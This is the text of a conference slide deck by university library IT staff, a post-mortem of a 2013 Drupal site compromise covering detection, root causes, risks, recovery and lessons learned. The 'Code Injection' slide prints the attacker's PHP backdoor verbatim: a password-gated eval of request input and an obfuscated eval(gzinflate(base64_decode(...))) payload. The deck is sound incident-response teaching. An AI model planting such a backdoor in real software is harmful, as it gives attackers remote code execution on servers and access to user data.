Anatomy of a Drupal Hack

Graham StewartNetwork and Storage Services Manager

Bilal KhalidSenior Application Developer

University of Toronto Libraries

ITS at University of Toronto Libraries

=> wide range of services and resources in support of the Library’s role in supporting the research, teaching and learning mission of the university and its community.

=> develop and maintain digital collections and web-based resources

=> upward of 100 web sites, > 200 servers, ~1 PB storage, 56M visits to sites in FY 2012

Photo: Gordon Belray

Photo: Gordon Belray

Photo: Gordon Belray

Photo: Gordon Belray

Not just hardware ...

Collaborative environment between:

- programmers / developers / designers

- librarians

- sysadmins / operations

Technology environment:

- open source tools

- Linux (Ubuntu, Redhat), KVM

… and we’re hiring !

Drupal @UTL

Application and caching

Database

Load balancing

Storage or rsync

IPHAProxy / Keepalived

HAProxy / Keepalived

IPMemcached/ Keepalived

Memcached/ Keepalived

IPMySQL MySQL

User

Varnish

APC

Apache & PHP

VarnishAPC

Apache & PHP

Varnish

APC

Apache & PHP

Varnish

APC

Apache & PHP

February 14, 2013

12:10

“Armorial is down!”

12:18

“Update: Armorial down for 1.5 hours, server side issue? maybe

caching?”

Symptom or root problem?

Chef?

MySQL error?

Restart Apache?

Restart server?

Recent OS updates? PHP versions?

Drupal Customizations?

Anything updated in Drupal?

Hacked !?#%$&!

Detection

- apache log analysis

- looked for odd traffic patterns

- in particular, isolated all wp-conf requests

- “hack” attempt started a couple of weeks

before

- successful injection occurred the day before

Exploit...FCKEditor Bug - allows XSS attacks

Sources: https://drupal.org/node/1482528http://webcache.googleusercontent.com/search?q=cache:http://exploitsdownload.com/exploit/na/drupal-fckeditorckeditor-php-execution

… + PHP Execution...

PHP Filter Module

- core module that allows ‘client’ PHP

execution

- disabled by default

… + Permission issues...

Incorrect rwx permissions for sites/default/files

- allowed user uploaded files to be executable by

www-data

- www-data also had write permissions to /var/www!

… = Code Injection

Snippet found inserted at the top of random PHP files throughout the site:

if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) ==

'edd1d65d726121336405c4d2554df925') &&isset($_REQUEST['php_code'])) {

eval($_REQUEST['php_code']); exit(); }

eval(gzinflate(base64_decode('y0zTyCwuTi3RUIkPcg0MdQ0OiVZPzlCP1VRQU1PQyE0xxZSwtVVQT01JMUwxM00xNzIzNDI0NjYzMTBNNkkxMjU1SUmzNDJVB+vHMLkgoyA+OT8lFWiMpkK1QmpZYg4OaWuF1IrMEg0gXQsA')));

Reversing gzinflate:

Snooping Utility

Risk Exposure

- hijack/deface site

- ransomware => blackmail

- host their own content

- execute phishing attacks

- gain access to other sites on server (if any)

- exploit OS vulnerabilities

Risk Exposure

- use Drupal’s settings.php to gain access to the

database/salt

- harvest public/private site content

- access personal user information (including

passwords!!)

- access other dbs/sites if they use the same

credentials

The Recovery - Restoration

- restored site from a couple of days prior

- all servers are backed up nightly (incl. files

and db)

- at most 48 hours of data loss

- correct file-system permissions

- disabled FCKEditor, PHP Filter modules

- reset Drupal admin password

- changed all site users’ passwords

The Recovery - Communication

- contacted all potentially affected site members

- clear, honest communication

- possibility of personal information being leaked

- possibility passwords might have been compromised

- do users use same passwords for other

services?

Lessons Learned - Drupal

- first real Drupal problem

- follow Drupal security guidelines!

- https://drupal.org/security/secure-configuration

- vet the required core, contrib and custom modules for

project

- stay on top of the updates

- test patches and updates and implement rapidly

- use https for all secure pages (whenever possible)

- install security modules

- Security Review, Security Kit, Login

Security, ...

- if developing, use Drupal’s built-in checking functions

Lessons Learned - Operational

- review site security policies

- enforcement: periodic security sweeps

- tight control on production environments

- protect the core code with version control

- use https whenever authentication is involved

- mod_security to block attacks

- establish security analysis practices

- metrics

- traffic analysis

- log triggers and notifications

Embrace Failure

- Failure rarely has a single cause:

- systems are very complex, many

interdependencies

- answers are not necessarily obvious

- weakness can be latent, triggered by other

flaws

- red herrings

- swiss cheese

Source: John Allspaw: Advanced PostMortem Fu and Human Error 101 http://www.slideshare.net/jallspaw/advanced-postmortem-fu-and-human-error-101-velocity-2011

Lessons Learned - Cultural

- Everyone must have the organization’s end goals in

mind

- Team of experts or team of poly-skilled polyglots?

- Emergency roles may differ from normal roles

- Emergency communication channels must be defined

- Failure rehearsals: deliberately break things:

- The culture must be free of blame

Further Information

https://drupal.org/security/secure-configuration

https://drupal.org/writing-secure-code

http://www.cameronandwilding.com/blog/pablo/10-most-critical-drupal-security-risks

http://www.slideshare.net/jallspaw/advanced-postmortem-fu-and-human-error-101-velocity-2011

http://www.kitchensoap.com/

http://arstechnica.com/information-technology/2012/07/netflix-attacks-own-network-with-chaos-monkey-and-now-you-can-too/

Questions?

Thank You